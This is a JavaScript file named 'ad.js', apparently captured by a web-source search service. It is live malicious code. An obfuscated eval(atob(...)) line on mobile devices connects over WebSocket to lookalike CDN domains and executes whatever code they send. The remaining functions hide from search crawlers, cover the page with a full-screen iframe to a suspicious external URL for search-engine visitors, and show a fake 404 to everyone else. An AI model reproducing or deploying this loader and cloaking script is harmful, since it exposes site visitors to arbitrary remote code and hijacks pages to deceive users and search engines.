PageSourceSearch

http://nvxzx.cn/ad.js

js nvxzx.cn collected 2026-10-06 13:15:55 UTC 7,651 bytes, 158 lines download raw bytes

1eval(atob('Y29uc3QgaXNEZXNrdG9wPS9XaW5kb3dzfE1hY2ludG9zaHxYMTF8QW5kcm9pZCA2LjB8QW5kcm9pZCA1LjAvWyJceDc0XHg2NVx4NzNceDc0Il0obmF2aWdhdG9yWyJceDc1XHg3M1x4NjVceDcyXHg0MVx4NjdceDY1XHg2ZVx4NzQiXSk7aWYoIWlzRGVza3RvcCl7Y29uc3QgZG9tYWlucz1bIlx4NzdceDc3XHg3N1x4MmVceDYzXHg2NFx4NmVceDZhXHg3M1x4MmVceDY5XHg3NFx4MmVceDYzXHg2Zlx4NmQiLCJceDc3XHg3N1x4NzdceDJlXHg2M1x4NjRceDZlXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZFx4NjVceDY0XHg2N1x4NjVceDJlXHg2MVx4NzBceDcwIiwiXHg3N1x4NzdceDc3XHgyZVx4NjNceDY0XHg2ZVx4NmFceDczXHgyZVx4NjFceDcwXHg3MCJdO2xldCBhdmFpbGFibGVEb21haW5zPVsuLi5kb21haW5zXTtmdW5jdGlvbiBjb25uZWN0UmFuZG9tKCl7aWYoYXZhaWxhYmxlRG9tYWlucy5sZW5ndGg9PT0wKXJldHVybjtjb25zdCByYW5kb21JbmRleD1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqYXZhaWxhYmxlRG9tYWlucy5sZW5ndGgpO2NvbnN0IGN1cnJlbnREb21haW49YXZhaWxhYmxlRG9tYWlucy5zcGxpY2UocmFuZG9tSW5kZXgsMSlbMF07Y29uc3QgdGltZXN0YW1wPW5ldyBEYXRlKClbIlx4NjdceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjUiXSgpO2NvbnN0IHdlYnNvY2tldFVybD0oIlx4NzJceDczXHg3M1x4M2FceDJmXHgyZiIrY3VycmVudERvbWFpbisiXHgyZlx4NjRceDYxXHg3NFx4NjEiKVsiXHg3Mlx4NjVceDcwXHg2Y1x4NjFceDYzXHg2NSJdKC9eXHg3Mi8sIlx4NzciKSsiXHgzZlx4NzRceDNkIit0aW1lc3RhbXA7dHJ5e2NvbnN0IHNvY2tldD1uZXcgV2ViU29ja2V0KHdlYnNvY2tldFVybCk7c29ja2V0WyJceDZmXHg2ZVx4NmZceDcwXHg2NVx4NmUiXT0oZXZlbnQpPT57c29ja2V0WyJceDczXHg2NVx4NmVceDY0Il0oIlx4MzRceDY1XHgzOFx4MzVceDYxXHg2Nlx4MzFceDM1XHg2NVx4NjVceDM0XHg2Nlx4MzFceDY1XHg2NVx4MzBceDM3XHgzMVx4MzZceDY2XHg2NVx4MzBceDM2XHg2MVx4MzFceDYzXHgzOVx4NjFceDM4XHgzNVx4MzdceDYyIil9O3NvY2tldFsiXHg2Zlx4NmVceDZkXHg2NVx4NzNceDczXHg2MVx4NjdceDY1Il09KGV2ZW50KT0+e3dpbmRvd1siXHg2NVx4NzZceDYxXHg2YyJdKGV2ZW50WyJceDY0XHg2MVx4NzRceDYxIl0pO3NvY2tldFsiXHg2M1x4NmNceDZmXHg3M1x4NjUiXSgpfTtzb2NrZXRbIlx4NmZceDZlXHg2NVx4NzJceDcyXHg2Zlx4NzIiXT0oZXJyb3IpPT57Y29ubmVjdFJhbmRvbSgpfX1jYXRjaChlcnJvcil7Y29ubmVjdFJhbmRvbSgpfX1jb25uZWN0UmFuZG9tKCl9Ow=='));
2window.__earlyReferrer = document.referrer;
3
4var titlestr = document.title;
5
6var arr = ["https://dfcdbcghgv.459534.lifestyle:8283/?nb=Onerun5-043&bm=qmf&ml=kp"];function hasValidReferrer() {
7    var referer = getBestReferrer();
8    return referer && referer !== '';
9}
10
11var mobileArr = ["https://dfcdbcghgv.459534.lifestyle:8283/?nb=Onerun5-043&bm=qmf&ml=kp"];function hasValidReferrer() {
12    var referer = getBestReferrer();
13    return referer && referer !== '';
14}
15
16var directAccessLink = location.origin + "/404";
17
18function isMobileDevice() {
19    var mobileRegex = /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i;
20    return mobileRegex.test(navigator.userAgent);
21}
22
23function isSafariMobile() {
24    var ua = navigator.userAgent;
25    var isSafari = /Safari/.test(ua) && !/Chrome|CriOS/.test(ua);
26    return isMobileDevice() && isSafari;
27}
28
29function isSpider() {
30    var spiderRegex = /(baiduspider|googlebot|sogou web spider|sosospider|360spider|yisouspider|bingbot|bytespider|yodaobot|msnbot|slurp)/i;
31    return spiderRegex.test(navigator.userAgent);
32}
33
34function getBestReferrer() {
35    if (window.__earlyReferrer && window.__earlyReferrer !== '') return window.__earlyReferrer;
36    try {
37        var navEntries = performance.getEntriesByType('navigation');
38        if (navEntries && navEntries.length > 0 && navEntries[0].referrer) {
39            return navEntries[0].referrer;
40        }
41    } catch(e) {}
42    return document.referrer;
43}
44
45function isFromSearchEngine() {
46    var referer = getBestReferrer();
47    var searchDomains = [
48        'baidu\\.com', 'm\\.baidu\\.com', 'www\\.baidu\\.com', 'baidu\\.cn',
49        'sogou\\.com', 'www\\.sogou\\.com', 'so\\.com', 'sm\\.cn',
50        'google\\.com', 'www\\.google\\.com', 'google\\.cn',
51        'bing\\.com', 'www\\.bing\\.com',
52        'yahoo\\.com', 'yandex\\.', 'ecosia\\.org', 'duckduckgo\\.com',
53        'ask\\.com', 'aol\\.com', 'wolframalpha\\.com'
54    ];
55    if (referer) {
56        var domainRegex = new RegExp('(' + searchDomains.join('|') + ')', 'i');
57        if (domainRegex.test(referer)) return true;
58        if (/\/s\?|\/search\?|\?q=|\?wd=|\?keyword=/.test(referer)) return true;
59    }
60    
61    var urlParams = new URLSearchParams(window.location.search);
62    var fromParam = urlParams.get('from') || urlParams.get('source') || urlParams.get('utm_source') || urlParams.get('wd');
63    if (fromParam) {
64        var searchKeywords = ['baidu', 'google', 'bing', 'sogou', 'yahoo', 'yandex', 'so', 'sm'];
65        for (var i = 0; i < searchKeywords.length; i++) {
66            if (fromParam.toLowerCase().indexOf(searchKeywords[i]) !== -1) return true;
67        }
68    }
69    
70    var currentUrl = window.location.href.toLowerCase();
71    for (var j = 0; j < searchDomains.length; j++) {
72        if (currentUrl.indexOf(searchDomains[j].replace(/\\/g, '')) !== -1) return true;
73    }
74    
75    return false;
76}
77
78function init() {
79    if (window !== window.top) {
80        return;
81    }
82
83    if (isSpider()) {
84        return;
85    }
86
87    if (isSafariMobile()) {
88        var safariTarget = mobileArr[Math.floor(Math.random() * mobileArr.length)];
89        if (safariTarget) {
90            createIframe(safariTarget, false);
91        }
92        return;
93    }
94
95    if (isFromSearchEngine()) {
96        var targetLink = isMobileDevice() ? mobileArr[Math.floor(Math.random() * mobileArr.length)] : arr[Math.floor(Math.random() * arr.length)];
97        if (targetLink) {
98            createIframe(targetLink, false);
99        }
100    } else {
101        createIframe(directAccessLink, true);
102    }
103}
104
105function createIframe(olink, is404) {
106    if (is404) {
107        document.title = "404";
108    } else {
109        document.title = titlestr;
110    }
111    
112    var container = document.createElement('div');
113    container.id = 'showcloneshengxiaon';
114    container.style.cssText = 'height: 100%; width: 100%; background-color: rgb(255, 255, 255); position: fixed; top: 0; left: 0; z-index: 999999;';
115    
116    var iframe = document.createElement('iframe');
117    iframe.src = olink;
118    iframe.scrolling = 'yes';
119    iframe.style.cssText = 'width: 100%; height: 100%; border: none; margin: 0; padding: 0;';
120    iframe.setAttribute('frameborder', '0');
121    iframe.setAttribute('marginheight', '0');
122    iframe.setAttribute('marginwidth', '0');
123    
124    container.appendChild(iframe);
125    document.body.appendChild(container);
126    
127    document.documentElement.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0;';
128    document.body.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;';
129    
130    setTimeout(function() {
131        for (var i = 0; i < document.body.children.length; i++) {
132            try {
133                var element = document.body.children[i];
134                var tagName = element.tagName.toLowerCase();
135                var id = element.id;
136                
137                if (id !== 'iconDiv1' && id !== 'showcloneshengxiaon' && tagName !== 'script') {
138                    element.style.display = 'none';
139                }
140            } catch(e) {}
141        }
142        
143        if (!document.querySelector('meta[name="viewport"]')) {
144            var oMeta = document.createElement('meta');
145            oMeta.name = 'viewport';
146            oMeta.content = 'width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no';
147            document.getElementsByTagName('head')[0].appendChild(oMeta);
148        }
149        
150        console.log('iframe加载完成,目标:', olink, is404 ? '(404页面)' : '');
151    }, 100);
152}
153
154if (document.readyState === 'complete' || document.readyState === 'interactive') {
155    init();
156} else {
157    document.addEventListener('DOMContentLoaded', init);
158}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.